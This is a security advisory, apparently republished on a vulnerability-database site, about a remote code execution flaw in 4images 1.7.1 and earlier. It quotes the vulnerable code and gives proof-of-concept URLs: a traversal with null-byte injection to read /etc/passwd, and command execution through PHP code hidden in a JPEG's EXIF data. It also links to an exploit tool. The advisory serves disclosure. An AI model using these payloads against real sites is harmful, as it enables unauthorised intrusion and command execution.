4images <=1.7.1 remote code execution

Advisory Content :

----------------- 4images <=1.7.1 remote code execution
------------------------
software:
site: http://www.4homepages.de/
------------------------------------------------------------------------
--------
i)
vulnerable code in index.php at line 35-54:

...
if (isset($HTTP_GET_VARS['template']) ||
isset($HTTP_POST_VARS['template'])) {
$template = (isset($HTTP_GET_VARS['template'])) ?
stripslashes(trim($HTTP_GET_VARS['template'])) :
stripslashes(trim($HTTP_POST_VARS['template']));
if
(!file_exists(TEMPLATE_PATH."/".$template.".".$site_template->template_e
xtension)) {
$template = "";
}
else {
$main_template = $template;
}
}
else {
$template = "";
}
include(ROOT_PATH.'includes/page_header.php');
if (!empty($template)) {
$clickstream = "<a
href="".$site_sess->url(ROOT_PATH."index.php")."">".$lang['home']."</a
>".$config['category_separator'].str_replace("_", " ", ucfirst($template));
$site_template->register_vars("clickstream", $clickstream);
$site_template->print_template($site_template->parse_template($main_temp
late));
include(ROOT_PATH.'includes/page_footer.php');
}
...

poc:

http://[target]/[path]/index.php?template=../../../../../../../../../../
../etc/passwd%00

This is regardless of magic_quotes_gpc settings because we have
stripslashes on
"template" argument (this is exploitable on PHP 4, because file_exists()
function suffers of null char injection...)
File comptemt is passed to an eval() in includes/template.php, so it is
evaluated as php code.

Also we can upload malicious php code through 4images functionalities
inside a
.jpg file with well crafted EXIF metadata comtempt.
Example of remote code execution:

http://[target]/[path]/index.php?cmd=ls%0-la&template=../../data/tmp_med
ia/suntzu1293.jpg%00

a php exploit tool availiable here:

http://retrogod.altervista.org/4images_171_incl_xpl.html

------------------------------------------------------------------------
--------
still a note about:

http://secunia.com/advisories/19026/

Secunia wrote: "Input passed to the "template" parameter in "index.php"
isn't
properly verified, before it is used to include files. This can be
exploited to
include files having the template file extension (".html") from local
resources
via directory traversal attacks"

and classified it as low risk... this is true on PHP5 but not on PHP4 where
you
can break the .html extension by a null char

------------------------------------------------------------------------
--------
rgod

site: http://retrogod.altervista.org
mail: rgod at autistici.org
original advisory: http://retrogod.altervista.org/4images_171_adv.html
------------------------------------------------------------------------
--------

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

4images <=1.7.1 remote code execution